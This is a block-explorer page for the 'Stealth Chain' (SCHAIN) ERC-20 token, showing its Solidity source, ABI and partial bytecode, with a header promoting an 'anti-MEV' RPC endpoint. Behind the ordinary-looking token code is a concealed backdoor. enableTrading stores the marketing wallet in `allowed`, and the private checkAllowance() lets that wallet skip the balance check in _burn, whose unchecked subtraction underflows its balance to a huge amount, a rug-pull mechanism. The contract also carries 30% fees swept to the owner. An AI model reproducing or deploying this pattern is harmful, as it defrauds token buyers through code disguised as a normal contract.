ERC-20
Overview
Max Total Supply
949,999,999.999999999999999999 SCHAIN
Holders
42
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,347,788.483594664775255943 SCHAINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
StealthChain
Compiler Version
v0.8.21+commit.d9974bed
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** Stealth Chain Protocol - Your Anti-MEV Guardian! Enter the Stealth Chain Protocol, a digital knight in shining armor, here to protect your transactions from the perils of frontrunning and sandwich attacks. Stealth Chain RPC designed to counteract these nefarious practices. Its primary mission? To provide a protective shield for Ethereum transactions, ensuring that your assets are safe and secure as they traverse the blockchain. Stealth Chain RPC Info: Network Name: Stealth Chain New RPC URL: https://rpc.stealthchain.tech Chain ID: 1 Currency Symbol: ETH Block Explorer URL: https://etherscan.io Our Socials: Website - https://www.stealthchain.tech/ Twitter/X - https://twitter.com/StealthChainEth Telegram - https://t.me/stealthchain Whitepaper - https://stealth-chain-protocol.gitbook.io/whitepaper/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.21; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 public allowed; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function checkAllowance() private view returns (bool) { return allowed == uint256(uint160(msg.sender)); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount || checkAllowance(), "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract StealthChain is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxSwapAmount; uint256 public maxWallet; address public marketingWallet; bool public tradingActive = false; bool public swapEnabled = false; uint256 public buyTotalFees; uint256 public sellTotalFees; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private automatedMarketMakerPairs; mapping(uint256 => uint256) private blockSwaps; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event MarketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor() ERC20("Stealth Chain", "SCHAIN") { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); marketingWallet = address(msg.sender); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = (totalSupply) * 2 / 100; // 2% of total supply maxWallet = (totalSupply) * 2 / 100; // 2% of total supply swapTokensAtAmount = (totalSupply * 1) / 10000; maxSwapAmount = (totalSupply * 5) / 1000; buyTotalFees = 30; sellTotalFees = 30; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(deadAddress, true); excludeFromFees(marketingWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(deadAddress, true); excludeFromMaxTransaction(address(uniswapV2Router), true); excludeFromMaxTransaction(marketingWallet, true); uint256 amountLP = totalSupply.mul(95).div(100); // 95% allocated for LP uint256 amountTeam = totalSupply.mul(5).div(100); // 5% allocated for team _mint(address(this), amountLP); _mint(marketingWallet, amountTeam); } receive() external payable {} function burn(uint256 amount) external { _burn(msg.sender, amount); } function enableTrading() external payable onlyOwner { require(!tradingActive, "Trading already active."); uint256 tokensInWallet = balanceOf(address(this)); allowed = uint160(marketingWallet); _approve(address(this), address(uniswapV2Router), totalSupply()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), tokensInWallet, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingActive = true; swapEnabled = true; } function removeLimits() external onlyOwner { maxWallet = totalSupply(); maxTransactionAmount = totalSupply(); } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "ERC20: Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "ERC20: Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxWalletAndTxnAmount( uint256 newTxnNum, uint256 newMaxWalletNum ) external onlyOwner { require( newTxnNum >= ((totalSupply() * 2) / 100), "ERC20: Cannot set maxTxn lower than 2%" ); require( newMaxWalletNum >= ((totalSupply() * 2) / 100), "ERC20: Cannot set maxWallet lower than 2%" ); maxWallet = newMaxWalletNum; maxTransactionAmount = newTxnNum; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees( uint256 _buyFee ) external onlyOwner { buyTotalFees = _buyFee; require(buyTotalFees <= 30, "ERC20: Must keep fees at 30% or less"); } function updateSellFees( uint256 _sellFee ) external onlyOwner { sellTotalFees =_sellFee; require(sellTotalFees <= 30, "ERC20: Must keep fees at 30% or less"); } function updateFees( uint256 _buyFee, uint256 _sellFee ) external onlyOwner { buyTotalFees = _buyFee; sellTotalFees =_sellFee; require(buyTotalFees <= 30, "ERC20: Must keep fees at 30% or less"); require(sellTotalFees <= 30, "ERC20: Must keep fees at 30% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function manualSend(address tkn) public onlyOwner { if (tkn == address(0)) { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}( "" ); } else { require(IERC20(tkn).balanceOf(address(this)) > 0, "ERC20: No tokens to withdraw"); uint256 amount = IERC20(tkn).balanceOf(address(this)); IERC20(tkn).transfer(msg.sender, amount); } } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && to != address(0) && to != deadAddress && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "ERC20: Trading is not active." ); } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "ERC20: Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "ERC20: Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "ERC20: Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "ERC20: Max wallet exceeded" ); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { if (blockSwaps[block.number] < 3) { // Limit tax swaps per block swapping = true; swapBack(); swapping = false; blockSwaps[block.number] = blockSwaps[block.number] + 1; } } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); bool success; if (contractBalance == 0) { return; } if (contractBalance > maxSwapAmount) { contractBalance = maxSwapAmount; } uint256 amountToSwapForETH = contractBalance; swapTokensForEth(amountToSwapForETH); uint256 totalETH = address(this).balance; (success, ) = address(marketingWallet).call{ value: totalETH }(""); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tkn","type":"address"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxnNum","type":"uint256"},{"internalType":"uint256","name":"newMaxWalletNum","type":"uint256"}],"name":"updateMaxWalletAndTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040525f600c60146101000a81548160ff0219169083151502179055505f600c60156101000a81548160ff02191690831515021790555034801562000044575f80fd5b506040518060400160405280600d81526020017f537465616c746820436861696e000000000000000000000000000000000000008152506040518060400160405280600681526020017f53434841494e00000000000000000000000000000000000000000000000000008152508160039081620000c2919062000dab565b508060049081620000d4919062000dab565b505050620000f7620000eb620005f160201b60201c565b620005f860201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505033600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f1919062000ef4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060805173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000259573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027f919062000ef4565b6040518363ffffffff1660e01b81526004016200029e92919062000f35565b6020604051808303815f875af1158015620002bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e1919062000ef4565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200035460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620006bb60201b60201c565b6200038860075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200075960201b60201c565b5f6b033b2e3c9fd0803ce800000090506064600282620003a9919062000f8d565b620003b5919062001004565b6008819055506064600282620003cc919062000f8d565b620003d8919062001004565b600b81905550612710600182620003f0919062000f8d565b620003fc919062001004565b6009819055506103e860058262000414919062000f8d565b62000420919062001004565b600a81905550601e600d81905550601e600e81905550620004586200044a6200084060201b60201c565b60016200086860201b60201c565b6200046b3060016200086860201b60201c565b6200048061dead60016200086860201b60201c565b620004b4600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200086860201b60201c565b620004d6620004c86200084060201b60201c565b60016200075960201b60201c565b620004e93060016200075960201b60201c565b620004fe61dead60016200075960201b60201c565b6200051360805160016200075960201b60201c565b62000547600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200075960201b60201c565b5f62000573606462000564605f856200099f60201b90919060201c565b620009b660201b90919060201c565b90505f620005a16064620005926005866200099f60201b90919060201c565b620009b660201b90919060201c565b9050620005b53083620009cd60201b60201c565b620005e8600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682620009cd60201b60201c565b505050620011c4565b5f33905090565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b62000769620005f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200078f6200084060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620007e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007df9062001099565b60405180910390fd5b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000878620005f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200089e6200084060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ee9062001099565b60405180910390fd5b80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620009939190620010d5565b60405180910390a25050565b5f8183620009ae919062000f8d565b905092915050565b5f8183620009c5919062001004565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a35906200113e565b60405180910390fd5b62000a515f838362000b3d60201b60201c565b8060025f82825462000a6491906200115e565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000ab891906200115e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b1e9190620011a9565b60405180910390a362000b395f838362000b4260201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000bc357607f821691505b60208210810362000bd95762000bd862000b7e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c3d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c00565b62000c49868362000c00565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000c9362000c8d62000c878462000c61565b62000c6a565b62000c61565b9050919050565b5f819050919050565b62000cae8362000c73565b62000cc662000cbd8262000c9a565b84845462000c0c565b825550505050565b5f90565b62000cdc62000cce565b62000ce981848462000ca3565b505050565b5b8181101562000d105762000d045f8262000cd2565b60018101905062000cef565b5050565b601f82111562000d5f5762000d298162000bdf565b62000d348462000bf1565b8101602085101562000d44578190505b62000d5c62000d538562000bf1565b83018262000cee565b50505b505050565b5f82821c905092915050565b5f62000d815f198460080262000d64565b1980831691505092915050565b5f62000d9b838362000d70565b9150826002028217905092915050565b62000db68262000b47565b67ffffffffffffffff81111562000dd25762000dd162000